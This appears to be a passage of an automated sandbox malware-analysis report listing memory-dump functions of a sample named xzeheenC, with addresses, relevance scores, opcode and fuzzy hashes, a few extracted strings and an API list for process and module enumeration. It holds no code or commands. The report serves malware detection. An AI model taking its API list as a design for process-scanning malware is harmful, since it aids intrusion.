Source File: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3435180894.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 20A82C08 Relevance: 4.3, Strings: 1, Instructions: 3071COMMON

Download Yara Rule

Strings

N, xrefs: 20A85FEB

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 8d6879db4ba50ce060c2a352c329529884798f746f0573056a30ec4f00b9f17d
Instruction ID: 66d872d24aceb9c4578019041492910ba8dcee2698352033ba38f5190c4681f6
Opcode Fuzzy Hash: 8d6879db4ba50ce060c2a352c329529884798f746f0573056a30ec4f00b9f17d
Instruction Fuzzy Hash: 2373E731D1075A8ECB11EFA8C854AADF7B1FF99300F51D69AE44867221EB70AAD4CF41

Function 20AA4597 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 20AA496C
PH]q, xrefs: 20AA4958
Haq, xrefs: 20AA45F9

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: Haq$PH]q$PH]q
API String ID: 0-511712173
Opcode ID: dc323609cae17c8eef28f12fb62bb683c74cc63290eb50aa650b596b30723017
Instruction ID: 28ef7c9e7042d4645a96b1b8beed982d6a6d88387d9856a5227b37a301d2cf94
Opcode Fuzzy Hash: dc323609cae17c8eef28f12fb62bb683c74cc63290eb50aa650b596b30723017
Instruction Fuzzy Hash: 0C919575E012288FDB68DF69C994B9DBBB2BF89200F1081EAD90DA7355DB305E85CF11

Function 20A87138 Relevance: 2.3, Instructions: 2263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf9b159dc0a53f00403f86e46917e07da34d863bc69f457f8f9e94af9fcac5c
Instruction ID: e838cb1f89e4447f01020752a026af3086d51e90c552dd227375b73c1af13871
Opcode Fuzzy Hash: 4bf9b159dc0a53f00403f86e46917e07da34d863bc69f457f8f9e94af9fcac5c
Instruction Fuzzy Hash: E133D531C146198EDB11EFA8C854ADDFBB1FF99300F50D69AE45867221EB70AAD4CF81

Function 1F6EE660 Relevance: 1.9, APIs: 1, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3472370573.000000001F6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f6e0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6c39637dafb5566065cbe239e37b5c5e6e0543c77f95f2e069560cab90769b
Instruction ID: 1814f49e72daf03c39f7b864008d7603f4fa4eed10f63aa011d7f25c4ce114aa
Opcode Fuzzy Hash: 2f6c39637dafb5566065cbe239e37b5c5e6e0543c77f95f2e069560cab90769b
Instruction Fuzzy Hash: 3002D475E01218CFDB54CFA9D884B9DBBB2BF48304F51C1A9D809AB356DB34AA85CF50

Function 20AA1D28 Relevance: .8, Instructions: 801COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d193a92083fccf44e1e66662e7ca9ba7dd95885f631016e9a4241b9743c4fe
Instruction ID: 8305a2456752e6592d9e7ecd7fac8d0d89264d5f1f6aead00f8f590e1aee9980
Opcode Fuzzy Hash: 33d193a92083fccf44e1e66662e7ca9ba7dd95885f631016e9a4241b9743c4fe
Instruction Fuzzy Hash: 4E926C74E012298FDB64DF69CD98B9DBBB2BF89300F1081E9944DA7261DB346E81CF51

Function 20AA62B0 Relevance: .7, Instructions: 740COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58792f7e16d6cf8ea49a3e15125078ca51cfa42947e057521fbdd9bf84d0099
Instruction ID: d01cf8bf0564ccbfa3f36447e68917f31da0d3c85c1dba4f246c84778a4971b9
Opcode Fuzzy Hash: e58792f7e16d6cf8ea49a3e15125078ca51cfa42947e057521fbdd9bf84d0099
Instruction Fuzzy Hash: 8A826A74E012298FDB65DF69CD94BDABBB2BF88300F1081E9944DA7261DB316E81CF51

Function 20AA5480 Relevance: .7, Instructions: 728COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ceabb8ac8d083878f15646c2bd81ee757156a7794c49b86699f39df7e678029
Instruction ID: 1b78731166ebe1dabe43281ef7401bac382090d636337b46281573b7341ef9df
Opcode Fuzzy Hash: 5ceabb8ac8d083878f15646c2bd81ee757156a7794c49b86699f39df7e678029
Instruction Fuzzy Hash: 2B826A74E012298FDB64DF69CD94BDEBBB2AF89300F1081E9944DA7261DB346E81CF51

Function 20AA99E8 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd41c37c84da1d9154910d2dd8127dd471144730dee90536cda1190c4ba96c42
Instruction ID: b30c9231e9ba8417c38971f16c8ebaa3519a0b4221fdbf65767bd3874c76061f
Opcode Fuzzy Hash: bd41c37c84da1d9154910d2dd8127dd471144730dee90536cda1190c4ba96c42
Instruction Fuzzy Hash: 14F1AC75E01228CFDB64DFA9C984B9DBBB2BF88300F5081AAD409A7291DB355E85CF50

Function 20A8F888 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ee1886b9a401dea9433e48e3289115d0aa5814952bb7e014c669f76f747879a
Instruction ID: 3442ecb6f2d1452aebbd97250f99a9977ecd7b400436539798ca18431f051c8f
Opcode Fuzzy Hash: 6ee1886b9a401dea9433e48e3289115d0aa5814952bb7e014c669f76f747879a
Instruction Fuzzy Hash: 87F1BBB5E01228CFDB64DFA9C984B9DBBB2BF89300F1081AAD509A7355DB345E85CF50

Function 20A8C480 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec06c1f8c7df34f70473e188652473ead938a49aeb9b2cf5371208f51adda3e
Instruction ID: 9f74832a4e553ed066f59964671acbbacba7763eac56fd428cf97daee4ad0cac
Opcode Fuzzy Hash: bec06c1f8c7df34f70473e188652473ead938a49aeb9b2cf5371208f51adda3e
Instruction Fuzzy Hash: 92F1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F1081AAD509A7351DB346E85CF50

Function 20A8ECF8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b519d43447e418260e4a559931e2b80dfdc3c7129e923a697552ab4cf4892c29
Instruction ID: 7a067ee99b777ee896b5107d8fa46ffb2b06c174cb58aaffb9542a820f8e20a4
Opcode Fuzzy Hash: b519d43447e418260e4a559931e2b80dfdc3c7129e923a697552ab4cf4892c29
Instruction Fuzzy Hash: 96F1AB75E01228CFDB64DFA9C984BDDBBB2BF89300F5081AAD509A7251DB345E85CF50

Function 20A8B8F0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fcc0440aa3a57121d13f3c4d920472e4a87d738a554f35929c24aa731cc0132
Instruction ID: af174ab4e856a1039b0529efdb581104461375f0915a9ca1a79a18f7a7fb3ff2
Opcode Fuzzy Hash: 2fcc0440aa3a57121d13f3c4d920472e4a87d738a554f35929c24aa731cc0132
Instruction Fuzzy Hash: 54F1ABB5E01228CFDB64DFA9C994BDDBBB2BF89300F1081AAD509A7251DB345E85CF50

Function 20A8D010 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 989a350e07bdebf14643ad1f24a05c784c9804d7a46657d073543d96b1e61f97
Instruction ID: 159a0fdcb96b6b76c2d9858780641b6ab323c0b2cc4b7ae27c1b9b0d7afa77f9
Opcode Fuzzy Hash: 989a350e07bdebf14643ad1f24a05c784c9804d7a46657d073543d96b1e61f97
Instruction Fuzzy Hash: 89F1AC75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7355DB345E85CF50

Function 20A80040 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f886fb457a20ddca935074f3dae9de082f14f49caa51f19d56f1e82f04b63f35
Instruction ID: df0e5ce621475476c9126c713445e77a1f6dcd82d6b3d79a9105f52048d10d43
Opcode Fuzzy Hash: f886fb457a20ddca935074f3dae9de082f14f49caa51f19d56f1e82f04b63f35
Instruction Fuzzy Hash: B3F1AD75E01228CFDB64DFA9C994B9DBBB2BF88300F1081AAD809A7355DB355E85CF50

Function 20A8D5D8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43389fc81ad092e5397e97b306680d96977f1a2ab0688091f39c30d3efa2c3de
Instruction ID: 999a06729f3488511ffd569b84abe3dfd8be06dfb30394589b34c635954096ca
Opcode Fuzzy Hash: 43389fc81ad092e5397e97b306680d96977f1a2ab0688091f39c30d3efa2c3de
Instruction Fuzzy Hash: B3F19B75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7351DB346E85CF50

Function 20A8A1D0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87d41d4dff82fa682abe059f564a0d37d0c8792184c4dbd7a18f8738a37b7cb1
Instruction ID: 599bd649a4a72aba3f500ddc220ff62bb06631ca027d7c8f9704df18dc2862a5
Opcode Fuzzy Hash: 87d41d4dff82fa682abe059f564a0d37d0c8792184c4dbd7a18f8738a37b7cb1
Instruction Fuzzy Hash: F0F1AC75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7351DB345E85CF50

Function 20A8E168 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 100eb6cd2000e2179d90e8e1e62ec529516a2c680c0a4bfff81b1f3ef9d53eae
Instruction ID: 0e5e97625778cde7601998a32d561363868028e9c80663e193806e8515de4abd
Opcode Fuzzy Hash: 100eb6cd2000e2179d90e8e1e62ec529516a2c680c0a4bfff81b1f3ef9d53eae
Instruction Fuzzy Hash: B8F1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7351DB355E85CF50

Function 20A8AD60 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c95d2dcc49f6addfacfab6e09fe0eb3e38ad078b9faf12032d5542fb764d1e3
Instruction ID: a95ce3fbe875b67f41c580755c08338a70f1de6757d08d891f1fe4dd9039519b
Opcode Fuzzy Hash: 2c95d2dcc49f6addfacfab6e09fe0eb3e38ad078b9faf12032d5542fb764d1e3
Instruction Fuzzy Hash: B3F19B75E01228CFDB64DFA9C994BDDBBB2BF89300F5081AAD409A7251DB346E85CF50

Function 20A8BEB8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fde1f46cce2517e172a06f11e2e8a791e85ea6880b6eb7328c5956d269bf341
Instruction ID: 4521110e78b1ffd7858de97dc227ba524b03249f6217eec12f5e4abf5dbefdad
Opcode Fuzzy Hash: 5fde1f46cce2517e172a06f11e2e8a791e85ea6880b6eb7328c5956d269bf341
Instruction Fuzzy Hash: 5BF19A75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7351DB346E85CF50

Function 20A8F2C0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837ba2c61a216a23d2270f84ff67b3662d154f3ac848ff592b41ddf81e3c0389
Instruction ID: b306578c868444f3b3626d4ca76c565ff802d366f9c7da8c64d735fc87425d39
Opcode Fuzzy Hash: 837ba2c61a216a23d2270f84ff67b3662d154f3ac848ff592b41ddf81e3c0389
Instruction Fuzzy Hash: C1F1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7355DB345E85CF50

Function 20A80608 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accedac27c5fe2f09c9fe4f8a33a6432380e3caf6395fb11e47f7f76f34f3968
Instruction ID: f47a260586729ffbb088d8bf90940004029fba60fe74e063cbf77e751da52d60
Opcode Fuzzy Hash: accedac27c5fe2f09c9fe4f8a33a6432380e3caf6395fb11e47f7f76f34f3968
Instruction Fuzzy Hash: 73F1AD75E01228CFDB64CFA9C994B9DBBB2BF88300F1081AAD819A7355DB355E85CF50

Function 20A8CA48 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41aa230435c9fa156d38367da8da576bfa13c713f24bc7ce18d7eaf19f649c7
Instruction ID: 839245a606012329893226433fe19651e26ed86f1f829c555391ad828805edbb
Opcode Fuzzy Hash: d41aa230435c9fa156d38367da8da576bfa13c713f24bc7ce18d7eaf19f649c7
Instruction Fuzzy Hash: DFF1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F1081AAD509A7351DB346E85CF50

Function 20A8DBA0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f438f0c0986755ddcd28a08b6c8bd4724560492a4e892cf4f6728387a7ef86
Instruction ID: ae2c12b78b66ef8138a0649fa1672ac82c401d3de2b8da5b3406c25d0faa1265
Opcode Fuzzy Hash: c9f438f0c0986755ddcd28a08b6c8bd4724560492a4e892cf4f6728387a7ef86
Instruction Fuzzy Hash: 2FF1AC75E01228CFDB64DFA9C984B9DBBB2BF89300F1085AAD409A7351DB346E85CF50

Function 20A8A798 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a2ad6bdc65dbf579917c1d5094ee3e48d0348d043228bcf1a8cf71ec59076de
Instruction ID: d5091cff59b4867976ef667eb0c6012626f8203a93c5b8705910a74f8b1744bd
Opcode Fuzzy Hash: 3a2ad6bdc65dbf579917c1d5094ee3e48d0348d043228bcf1a8cf71ec59076de
Instruction Fuzzy Hash: CDF1ACB5E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7351DB345E85CF50

Function 20A8B328 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 995cb5c7a62abec657b7d1029f05846abe0fe8c49ba4b8e9f6f6d892a7b4eba7
Instruction ID: 0f1f3cb6116089a729d8107fb859db56ebfcd1d8be083edad58c1cc24e03ef3c
Opcode Fuzzy Hash: 995cb5c7a62abec657b7d1029f05846abe0fe8c49ba4b8e9f6f6d892a7b4eba7
Instruction Fuzzy Hash: C5F19A75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7251DB346E85CF50

Function 20A8E730 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93bfd935484bc1dec1086276cc23283d0db145afab573aa980dce19304cc36e9
Instruction ID: 5f3c16c249165613241c5a52656098df0b8b6ccf4ec3e788eea72252d5273f52
Opcode Fuzzy Hash: 93bfd935484bc1dec1086276cc23283d0db145afab573aa980dce19304cc36e9
Instruction Fuzzy Hash: F0F1ACB5E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7351DB345E85CF50

Function 20AA82A0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df0c0520befe33b6e5ed2f74a0922aa53d9f5c91bf78533ca11f4c40b89c737
Instruction ID: 1c74cad19a88388ae9ed1a1cf4169fd5aeda7af8197842e8189ea1c32592c4d8
Opcode Fuzzy Hash: 9df0c0520befe33b6e5ed2f74a0922aa53d9f5c91bf78533ca11f4c40b89c737
Instruction Fuzzy Hash: 6FF1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AABCA0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d0c465e4c9b8774ecf711184757bc22b62b630d30b69e8da8383a73b91f09ab
Instruction ID: 424f119190fdac06acdd71101706d0e6aa8ee6ff8bf73ed3e226828b37978f56
Opcode Fuzzy Hash: 5d0c465e4c9b8774ecf711184757bc22b62b630d30b69e8da8383a73b91f09ab
Instruction Fuzzy Hash: 21F1AB75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA9FB8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdafb1d3b8cba8ac8268fabee6c9d993dd75d729d34cf3a139116167357236f
Instruction ID: 203a172ea0ef9c23582382721d967cb5401cbfce598b8ae3b74c02355f66704b
Opcode Fuzzy Hash: 7bdafb1d3b8cba8ac8268fabee6c9d993dd75d729d34cf3a139116167357236f
Instruction Fuzzy Hash: B1F1AC75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AAA580 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb7074185e3a4079602cfb28f36db18a8dd2af8b498a819cf67017a94421ece
Instruction ID: 1c277531fb549f04a2f50b436c23d3a14fa69f93e178f67733bf29e09259da56
Opcode Fuzzy Hash: 1bb7074185e3a4079602cfb28f36db18a8dd2af8b498a819cf67017a94421ece
Instruction Fuzzy Hash: CAF1AB75E01228CFDB64DFA9C984B9DBBB2BF88300F5081AAD409A7391DB345E85CF50

Function 20AA1198 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0065fbd8b8803bb1d02b8c47decc2859fd3efb79ed9eec0194b4d62a2a9705d
Instruction ID: a7fd4947cfc6652cff8a22a914347e2f08d441b061369fc84f4f89f4faa4c290
Opcode Fuzzy Hash: e0065fbd8b8803bb1d02b8c47decc2859fd3efb79ed9eec0194b4d62a2a9705d
Instruction Fuzzy Hash: E7F1AD75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA93F8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de22d3f8ec9d516dbc4bbf7e2501789de579709d61945c7b87f5bd02c061d3b
Instruction ID: 8bef3e2bdc629b686d45f7f63c7f1918c4e85557c7c4106a2e3e7e6bb1a96e34
Opcode Fuzzy Hash: 9de22d3f8ec9d516dbc4bbf7e2501789de579709d61945c7b87f5bd02c061d3b
Instruction Fuzzy Hash: 8BF1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA7CD8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc1476c3623a06691b0488159c70a154aa3ec72d31b0288bfbfd4e45542c6c93
Instruction ID: 96b006164fab2b6896710b26e393d2fb9e20f35508b04edaf9f70fbe262e6e7e
Opcode Fuzzy Hash: fc1476c3623a06691b0488159c70a154aa3ec72d31b0288bfbfd4e45542c6c93
Instruction Fuzzy Hash: 83F19B75E01228CFDB64DFA9C994BDDBBB2BF89300F5081AAD409A7291DB345E85CF50

Function 20AAB6D8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682b758d8c948545866f6e7abcf80b2d17f0ee2730f6cde2755ef07ea8922af8
Instruction ID: 26b33347cdd407d6cd905468247806a955b1c513026598063508ce051d9f7777
Opcode Fuzzy Hash: 682b758d8c948545866f6e7abcf80b2d17f0ee2730f6cde2755ef07ea8922af8
Instruction Fuzzy Hash: 6BF1AC75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA0BD0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de1c55c2539a6eff30ead505a77f71b67898e8e8eb6894d41ff6a578a8395df
Instruction ID: d90b33336d522b33d075a3b0ce800713d21d78e96d513b62d323bea10c6c743f
Opcode Fuzzy Hash: 1de1c55c2539a6eff30ead505a77f71b67898e8e8eb6894d41ff6a578a8395df
Instruction Fuzzy Hash: 01F1AD75E01228CFDB64DFA9C984B9DBBB2BF88300F1085AAD509A7391DB345E85CF50

Function 20AA7120 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

